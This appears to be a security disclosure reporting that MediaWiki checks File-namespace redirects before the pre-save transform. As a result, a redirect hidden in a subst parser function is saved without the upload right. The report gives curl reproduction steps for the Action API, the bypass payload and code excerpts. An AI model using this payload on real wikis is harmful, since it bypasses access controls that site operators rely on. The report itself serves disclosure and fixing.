Summary
MediaWiki decides whether a File-namespace edit creates a redirect before it applies the final pre-save transformation (PST), and it never re-checks the transformed content.
A user who can edit an alias File: page but lacks the upload right can hide a #REDIRECT inside a built-in parser function such as subst:ucfirst.
That input is not recognized as a redirect when ImageRedirectConstraint runs, but it expands into #REDIRECT [[File:Target]] during PageUpdater::prepareUpdate().
The transformed redirect is stored without any further upload-right check and is then followed by normal file lookup, bypassing an explicit authorization boundary. (CWE-863)
This is one instance of a broader pattern in which content-dependent edit checks run against submitted text before PST and are never reapplied to the stored revision.
Requirements to exploit
The attacker must be able to edit or create the alias File: page while lacking the upload right. No attacker-controlled template is required because core parser functions can pass arbitrary wikitext through PST.
Stock MediaWiki grants anonymous users edit and createpage but not upload, so a new alias is anonymously reachable on a default public installation.
A pre-existing target file is required for the demonstrated functional alias.
Component affected
MediaWiki core: PageEdit::doEdit() and PageEdit::getPreliminaryChecksRunner() in includes/PageEdit/PageEdit.php; ImageRedirectConstraint::checkConstraint() in includes/EditPage/Constraint/ImageRedirectConstraint.php; PageUpdater::prepareUpdate() in includes/Storage/PageUpdater.php; and DerivedPageDataUpdater::prepareContent() in includes/Storage/DerivedPageDataUpdater.php.
Affected endpoint
The Action API edit path, POST /api.php with action=edit, and equivalent web edits that reach PageEdit::doEdit(). PST and the vulnerable ordering are enabled by default.
Impact
An attacker without upload can persist a functional File redirect to an existing local file in one request.
This assigns an otherwise unbacked or editable File title as an alias despite the explicit upload-right restriction, and requests for that File title then resolve to the target file.
Steps to reproduce
- On a test wiki, ensure File:RedirectTarget.png is an existing harmless file. Set $API to the wiki's api.php, use $JAR for the attacker session's cookie jar, and set $TOKEN to that session's CSRF token.
The attacker must have edit and createpage but lack upload. Confirm the rights and obtain the token:
curl -sS -b "$JAR" \ "$API?action=query&meta=userinfo&uiprop=rights&format=json&formatversion=2" curl -sS -b "$JAR" -c "$JAR" \ "$API?action=query&meta=tokens&type=csrf&format=json&formatversion=2" # Assign query.tokens.csrftoken from this response to TOKEN.
- Negative control: submit the redirect literally:
curl -sS -b "$JAR" -c "$JAR" -X POST "$API" \ --data-urlencode 'action=edit' \ --data-urlencode 'title=File:DirectRedirect.png' \ --data-urlencode 'text=#REDIRECT [[File:RedirectTarget.png]]' \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'format=json' \ --data-urlencode 'formatversion=2'
The response contains noimageredirect, and the page is not created. If the test uses an anonymous session with temporary-account creation enabled, fetch a fresh CSRF token after this request.
- Submit the equivalent redirect through a built-in parser function:
curl -sS -b "$JAR" -c "$JAR" -X POST "$API" \ --data-urlencode 'action=edit' \ --data-urlencode 'title=File:SubstRedirect.png' \ --data-urlencode 'text={{subst:ucfirst:#REDIRECT [[File:RedirectTarget.png]]}}' \ --data-urlencode "token=$TOKEN" \ --data-urlencode 'format=json' \ --data-urlencode 'formatversion=2'
The edit succeeds even though the same user still lacks upload.
- Verify the stored source and functional redirect:
curl -sS -b "$JAR" \ "$API?action=query&prop=revisions&titles=File%3ASubstRedirect.png&rvprop=content&rvslots=main&format=json&formatversion=2" curl -sS -b "$JAR" \ "$API?action=query&prop=imageinfo&titles=File%3ASubstRedirect.png&iiprop=canonicaltitle%7Curl&format=json&formatversion=2"
The stored main-slot content is #REDIRECT [[File:RedirectTarget.png]], and imageinfo.canonicaltitle is File:RedirectTarget.png.
Source evidence
PageEdit::doEdit() runs preliminary constraints against the submitted, pre-PST content:
$preliminaryChecksRunner = $this->getPreliminaryChecksRunner( $new, $textbox_content, $requestUser, $page->getTitle(), ); $status = $preliminaryChecksRunner->checkConstraints();
getPreliminaryChecksRunner() passes that content to ImageRedirectConstraint, which only rejects content that is already recognized as a redirect:
new ImageRedirectConstraint( $newContent, $this->inputs->getPage(), $this->inputs->getAuthority() ), if ( $this->page->getNamespace() === NS_FILE && $this->newContent->isRedirect() && !$this->performer->isAllowed( 'upload' ) ) { ... }
After those checks pass, PageEdit::doEdit() calls prepareUpdate():
$pageUpdater = $page->newPageUpdater( $pstUser ) ->setContent( SlotRecord::MAIN, $content ); $pageUpdater->prepareUpdate( $flags );
PageUpdater::prepareUpdate() then applies PST, and DerivedPageDataUpdater::prepareContent() installs the transformed content:
$this->derivedDataUpdater->prepareContent( $this->author, $this->slotsUpdate, $useStashed ); $pstContent = $this->contentTransformer->preSaveTransform( $slot->getContent(), $title, $user, $userPopts ); $pstSlot = SlotRecord::newUnsaved( $role, $pstContent );
No equivalent File-redirect upload-right check runs against the transformed main-slot content before it is saved.
Best wishes,
Aisle Research